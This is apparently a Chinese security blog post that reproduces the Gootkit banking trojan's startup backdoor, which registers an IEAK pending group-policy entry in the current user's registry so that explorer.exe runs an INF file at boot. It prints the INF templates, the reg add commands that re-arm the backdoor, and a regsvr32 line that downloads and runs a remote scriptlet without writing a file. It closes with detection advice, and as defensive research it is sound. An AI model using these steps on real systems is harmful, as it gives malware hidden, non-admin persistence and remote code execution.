Gookit Banking *中的后门利用分析

 3gstudent 嘶吼专业版

Gookit Banking *中的后门利用分析

Gookit Banking *中的后门利用分析0x00 前言


Gootkit Banking *在2014年被首次发现,最近Daniel Bunce(@ 0verfl0w_)介绍了一些对于Gootkit Banking *的分析,文章地址如下:

https://www.sentinelone.com/blog/gootkit-banking-*-persistence-other-capabilities/

其中,Gootkit Banking *使用的后门启动方法是独有的,所以本文仅在技术研究的角度复现Gootkit Banking *使用的后门启动方法,分析利用思路,给出防御和检测的建议。

Gookit Banking *中的后门利用分析0x01 简介

本文将要介绍以下内容:

· 原理介绍

· inf文件的基础知识

· 复现后门启动方法

· 分析利用方法

· 检测和防御建议Gookit Banking *中的后门利用分析

0x02 原理介绍

explorer.exe在运行时会加载特定的组策略对象(GPO),其中包括Internet Explorer Administration Kit(IEAK)的GPO。

如果通过添加注册表的方式为IKAK创建一个Pending GPO,指向一个inf文件,那么在explorer.exe启动时,就会加载这个Pending GPO,执行inf文件中的内容。

这个方法的优点是不需要管理员权限。Gookit Banking *中的后门利用分析

0x03 inf文件的基础知识

inf全称Device INFormation File,是Microsoft为硬件设备制造商发布其驱动程序推出的一种文件格式。

对大小写不敏感。

文件格式:

由多个节组成,节名用方括号括起来。

值得注意的节:

1.Version节

inf文件都包含这个节,用来描述支持的设备类型和适用的操作系统。

signature="$CHICAGO$表示该inf文件适用于Windows98之后的所有操作系统。

signature="$Windows NT$"表示该inf文件适用于Windows 2000/XP/2003操作系统。

2.DefaultInstall节

默认情况下首先执行该节内的内容,通常包括文件拷贝、删除,注册表键值的更新,子键删除等功能,还支持执行命令:

· RunPreSetupCommands,本节中指定的命令在安装服务配置文件之前运行

· RunPostSetupCommands,本节中指定的命令在安装程序完成服务配置文件后运行

· RunPreUnInstCommands,本节中指定的命令在卸载程序开始之前运行

· RunPostUnInstCommands,本节中指定的命令在卸载程序运行后运行

参考资料:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc939869(v=technet.10)#information-inf-file-entries

例如一个分别执行cmd命令和弹出计算器的test.inf文件示例:

[Version]

Signature="$CHICAGO$"

AdvancedINF=2.5,"advpack.dll"

[DefaultInstall]

RunPreSetupCommands=Command1

RunPostSetupCommands=Command2

[Command1]

C:\WINDOWS\SYSTEM32\calc.exe

[Command2]

C:\WINDOWS\SYSTEM32\cmd.exe

命令行下的启动方式:

rundll32.exe advpack.dll,LaunchINFSection test.inf,DefaultInstall

执行后先弹出计算器,关闭计算器后,再弹出cmd.exe。Gookit Banking *中的后门利用分析

0x04 后门启动方法复现

1.使用测试程序putty.exe,保存位置: c:\test\putty.exe

2.新建putty.inf,内容如下:

[Version]

Signature="$CHICAGO$"

AdvancedINF=2.5,"You need a new version of advpack.dll"


[DefaultInstall]

RunPreSetupCommands=Command1:2

[Command1]

c:\test\putty.exe

3.新建注册表项

· HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Count, REG_DWORD,1

· HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Path1,REG_SZ,"c:\test\test.inf"

· HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Section1,REG_SZ,"DefaultInstall"

注:原文中Section1的值为[DefaultInstall],经测试,此处存在bug,正确的值应该为DefaultInstall。

注册表设置如下图:Gookit Banking *中的后门利用分析


4.重启系统

系统启动后执行putty.exe,复现成功。

注:系统重启后该注册表会被清除,为了保证下次重启系统时再次触发后门,需要再次修改注册表,添加对应的键值,可供参考的cmd命令如下:

reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Count /t REG_DWORD /d 1

reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Path1 /t REG_SZ /d "c:\test\test.inf"

reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Section1 /t REG_SZ /d "DefaultInstall"Gookit Banking *中的后门利用分析

0x05 方法优化

1.inf文件不需要同要启动的exe文件同名

inf文件名称可以任意,例如test.inf

注:原文描述需要inf文件同exe文件同名。

2.inf文件内容格式不固定

AdvancedINF=2.5,"You need a new version of advpack.dll"可修改为AdvancedINF=2.5,"11111111"

3.inf文件的payload不唯一

还可以实现文件拷贝、删除,注册表键值的更新,子键删除等功能。

如果是执行命令,可以同sct结合实现无文件落地,例如实现远程下载执行的文件内容如下:

[Version]

Signature="$CHICAGO$"

AdvancedINF=2.5,"advpack.dll"

[DefaultInstall]

RunPreSetupCommands=Command1

[Command1]

regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dllGookit Banking *中的后门利用分析

0x06 利用分析

优点如下:1.不需要管理员权限,只需要普通用户权限即可 2.payload扩展性高,同其他方法结合(如sct)可实现远程下载执行,不需要向硬盘写入文件。Gookit Banking *中的后门利用分析

0x07 检测和防御建议

监控注册表位置:HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs

默认配置下,系统不存在注册表项:HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy

注:修改注册表HKEY_LOCAL_MACHINE\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs不会触发这个后门。Gookit Banking *中的后门利用分析

0x08 小结

本文复现了Gookit Banking *中的后门启动方法,分析利用思路,给出防御和检测的建议。

本文为嘶吼特约作者 3gstudent 原创文章。

Gookit Banking *中的后门利用分析


上一篇:Codeforces 1498D Bananas in a Microwave 题解


下一篇:JavaWeb学习之路(55)–走进JavaScript的世界